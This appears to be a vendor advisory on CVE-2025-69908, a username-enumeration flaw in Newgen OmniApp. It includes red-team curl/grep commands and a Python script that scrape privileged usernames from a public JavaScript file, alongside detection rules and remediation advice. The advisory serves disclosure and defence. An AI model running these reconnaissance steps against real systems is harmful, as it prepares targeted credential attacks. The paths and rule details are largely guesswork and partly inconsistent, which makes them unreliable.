CVE-2025-69908

Executive Summary

CVE-2025-69908 is an unauthenticated information disclosure vulnerability in Newgen OmniApp. The flaw allows remote attackers to enumerate valid privileged usernames by analyzing a publicly accessible client-side JavaScript resource. This exposure can serve as a stepping stone for targeted brute-force attacks, credential stuffing, or social engineering campaigns. No patch or official advisory has been released by Newgen at this time. The vulnerability has a low CVSS base score of 5.3 due to the limited confidentiality impact, but its value in reconnaissance makes it a significant risk for organizations using the affected software.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Newgen OmniApp). Organizations should verify the integrity of their deployment and monitor for any third-party dependencies that may be bundled with the application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality: Low (C:L) – Only username enumeration, not full data.
• Integrity: None (I:N) – No data modification.
• Availability: None (A:N) – No denial of service.

Threat Level: Medium. While the direct impact is limited, the information disclosed can enable more severe attacks.

Deep Dive & Mechanics

The vulnerability resides in the client-side JavaScript bundle of Newgen OmniApp. During the application’s initialization, a JavaScript file (e.g., app.js, config.js, or a similar resource) is loaded by the browser. This file contains hardcoded or dynamically generated lists of usernames, often for administrative or privileged accounts, used for features like auto-complete, user role assignment, or debugging.

An attacker can access this file without authentication by navigating to a predictable URL path, such as:

• /static/js/app.js
• /assets/js/config.js
• /scripts/users.js

By parsing the JavaScript file, the attacker extracts usernames that are typically reserved for high-privilege accounts (e.g., admin, root, sysadmin, supervisor). This enumeration bypasses any login or access controls because the resource is served publicly.

Root Cause: The application fails to restrict access to client-side resources that contain sensitive information. The usernames should be fetched from a server-side API only after authentication, not embedded in static assets.

Vulnerable vs. Patched Code

Vulnerable Code Example (JavaScript file):

// app.js
const privilegedUsers = [
    "admin",
    "root",
    "sysadmin",
    "supervisor",
    "auditor"
];
// Used for user role assignment in the UI

Patched Code Example (Server-side API):

// Server-side endpoint (requires authentication)
app.get('/api/users', authenticate, (req, res) => {
    // Only return usernames if user is authorized
    if (req.user.role === 'admin') {
        res.json(privilegedUsers);
    } else {
        res.status(403).send('Forbidden');
    }
});

The patched approach removes sensitive data from client-side bundles and instead serves it via authenticated API calls.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable instance of Newgen OmniApp (version unknown, but any version with the flaw).
2. Identify the JavaScript resource path (e.g., via browser developer tools or directory brute-forcing).
3. Use curl or a browser to fetch the resource.

Exploitation Steps:

# Fetch the JavaScript file
curl -s http://target-omni-app.com/static/js/app.js

# Extract usernames using grep
curl -s http://target-omni-app.com/static/js/app.js | grep -oP '"([a-zA-Z0-9_]+)"' | tr -d '"'

Expected Output:

admin
root
sysadmin
supervisor
auditor

Automation Script (Python):

import requests
import re

url = "http://target-omni-app.com/static/js/app.js"
response = requests.get(url)
if response.status_code == 200:
    usernames = re.findall(r'"([a-zA-Z0-9_]+)"', response.text)
    print("Discovered usernames:", usernames)
else:
    print("Failed to fetch resource")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for requests to JavaScript files that contain sensitive patterns (e.g., admin, root).
2. Look for repeated access to static JS files from a single IP without prior authentication.
3. Alert on any extraction of usernames from client-side resources.

Response:

• Immediately restrict access to the JavaScript file via web server rules (e.g., .htaccess or Nginx location block).
• Implement a Web Application Firewall (WAF) rule to block requests containing common username patterns in the response.
• Conduct a code review to move sensitive data to server-side APIs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to paths like /static/js/app.js, /assets/js/config.js, /scripts/users.js.
  • User-Agent strings from automated tools (e.g., curl, python-requests).
• File IOCs:
  • JavaScript files containing hardcoded lists of usernames (e.g., admin, root, sysadmin).
• Behavioral IOCs:
  • Multiple failed login attempts using enumerated usernames shortly after the JS file is fetched.

Detection Engineering

YARA Rule

rule Newgen_OmniApp_Username_Enumeration {
    meta:
        description = "Detects JavaScript files containing hardcoded privileged usernames in Newgen OmniApp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69908"
    strings:
        $username1 = "admin"
        $username2 = "root"
        $username3 = "sysadmin"
        $username4 = "supervisor"
        $username5 = "auditor"
        $js_array = /\[[\s\S]*?"(?:admin|root|sysadmin|supervisor|auditor)"[\s\S]*?\]/
    condition:
        any of ($username*) and $js_array
}

Sigma Rule

title: Newgen OmniApp Username Enumeration via JavaScript
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to JavaScript files that may contain hardcoded privileged usernames
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|endswith:
            - '/static/js/app.js'
            - '/assets/js/config.js'
            - '/scripts/users.js'
    condition: selection
falsepositives:
    - Legitimate development or debugging activities
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69908 Newgen OmniApp Username Enumeration"; flow:to_server,established; content:"GET"; http_method; content:"/static/js/app.js"; http_uri; nocase; content:"admin"; http_server_body; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Web Server Restriction: Block access to the vulnerable JavaScript file using web server rules.
   • Apache: <Files "app.js"> Require all denied </Files>
   • Nginx: location = /static/js/app.js { deny all; }
2. WAF Rule: Create a custom WAF rule to inspect responses for username patterns and block if detected.
3. Network Segmentation: Ensure the OmniApp server is not directly exposed to the internet; use a reverse proxy.

Long-Term Remediation:

1. Code Refactoring: Move all sensitive data (usernames, roles) from client-side JavaScript to server-side APIs that require authentication.
2. Security Audit: Conduct a full code review of all client-side resources for hardcoded secrets.
3. Patch Management: Monitor Newgen’s official channels for a security patch and apply it immediately.
4. User Awareness: Train developers on secure coding practices, especially regarding client-side data exposure.

Valters IT – Securing your digital frontier.